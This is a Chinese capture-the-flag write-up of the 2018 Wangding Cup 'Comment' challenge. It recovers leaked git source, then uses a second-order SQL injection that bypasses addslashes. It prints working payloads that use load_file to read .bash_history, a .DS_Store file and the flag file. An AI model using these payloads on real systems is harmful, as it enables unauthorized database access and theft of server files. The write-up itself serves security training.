[网鼎杯 2018]Comment

又遇到了一道有意思的题目，还是比较综合的，考的跟之前有一道很相像，用的还是二次注入。

因为找不到登陆点的sql注入，所以扫了一下源码，发现是存在git泄露的。

[21:03:10] Starting:

[21:03:10] 301 -  388B  - /.git  ->  http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git/

[21:03:10] 200 -   23B  - /.git/HEAD

[21:03:10] 200 -  145B  - /.git/index

[21:03:10] 200 -   92B  - /.git/config

[21:03:10] 200 -   73B  - /.git/description

[21:03:12] 403 -  323B  - /.git/

[21:03:13] 200 -    7KB - /index.php

[21:03:13] 200 -    2KB - /login.php

[21:03:20] 429 -  568B  - /phpmyadmin/

[21:03:20] 429 -  568B  - /phpMyAdmin/

到kali下面利用githack找一下git文件python GitHacker.py http://72f9009e-83ae-410a-8849-6cf1c2f44fe2.node3.buuoj.cn/.git

cat一下发现源代码是不全的，所以接下来应该修复一手：

到生成文件的目录：git log --relog

得到继续：git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

这样我们就得到了如下代码：

<?php

include "mysql.php";

session_start();

if($_SESSION['login'] != 'yes'){

    header("Location: ./login.php");

    die();

}

if(isset($_GET['do'])){

switch ($_GET['do'])

{

case 'write':

    $category = addslashes($_POST['category']);

    $title = addslashes($_POST['title']);

    $content = addslashes($_POST['content']);

    $sql = "insert into board

            set category = '$category',

                title = '$title',

                content = '$content'";

    $result = mysql_query($sql);

    header("Location: ./index.php");

    break;

case 'comment':

    $bo_id = addslashes($_POST['bo_id']);

    $sql = "select category from board where id='$bo_id'";

    $result = mysql_query($sql);

    $num = mysql_num_rows($result);

    if($num>0){

    $category = mysql_fetch_array($result)['category'];

    $content = addslashes($_POST['content']);

    $sql = "insert into comment

            set category = '$category',

                content = '$content',

                bo_id = '$bo_id'";

    $result = mysql_query($sql);

    }

    header("Location: ./comment.php?id=$bo_id");

    break;

default:

    header("Location: ./index.php");

}

}

else{

    header("Location: ./index.php");

}

?>

到了登陆界面，其实刚开始没理解，直接就照着提示把三个*全都打进去了，结果发现是要替换的，直接burp跑一波就ok了。

此时就是看着源码进行sql注入了，他是加了一个addslashes进行过滤准备的，但是有的时候addslash也是一个能造成漏洞的点。

$sql = "insert into comment

        set category = '$category',

            content = '$content',

            bo_id = '$bo_id'";

addslash：

gbk导致宽字节注入

使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入

url解码导致绕过addslashes

base64解码导致绕过addslashes

json编码导致绕过addslashes

没有使用引号保护字符串，直接无视addslashes

stripslashes(去掉了\)

字符替换导致的绕过addslashes

这里分成了两个功能模块，一个是发帖，另一个是评论，两个功能。

两个地方都利用到了addslash进行转义，但是都仅仅对于输入进行转义，对于输出没有进行转义，这就有可能造成二次注入，在mysql中，addslash添加的反斜杠是能够起作用的，即\'在表里面value值就是'的意义，那么我们拿出来的时候就可以进行闭合了。

同时闭合了单引号之后我们还需要，注释，因为#号只能适用于单行的注释，对于多行的注释我们使用/**/从而进行拼接的注释，所以在我们注册完成后，我们在comment处这么写*/#那么拼接起来就是：

insert into comment

       set category = ' ',content=user()，/*',

           content = '*/#',

           bo_id = '$bo_id'";

完成了二次注入。

之后我们利用文件的读取，load_file函数.

payload:',content=(select(load_file("/home/www/.bash_history"))),/*

output:

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

这里的具体步骤是：

切换到/tmp目录下解压html压缩包

删除压缩包，

将html复制到var/www/目录下，

切换到/var/www/html目录，

删除.Ds_Store.

启动apache服务

但是这里我们发现一个问题，他没有删除/tmp/html目录下的.Ds_Store文件，所以我们可以尝试i读取，（信息泄露）

123',content=(select load_file('/tmp/html/.Ds_Store')),/*

无显示,用hex编码显示

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/* 得到：flag_8946e1ff1ee3e40f.php文件

',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

得到：

3C3F7068700A24666C6167203D2027666C61677B66396361316136622D396437382D313165382D393061332D6334623330316237623939627D273B0A3F3E0A

解码发现不对：

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

再次读取：

',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

Hex

[网鼎杯 2018]Comment

[网鼎杯 2018]Comment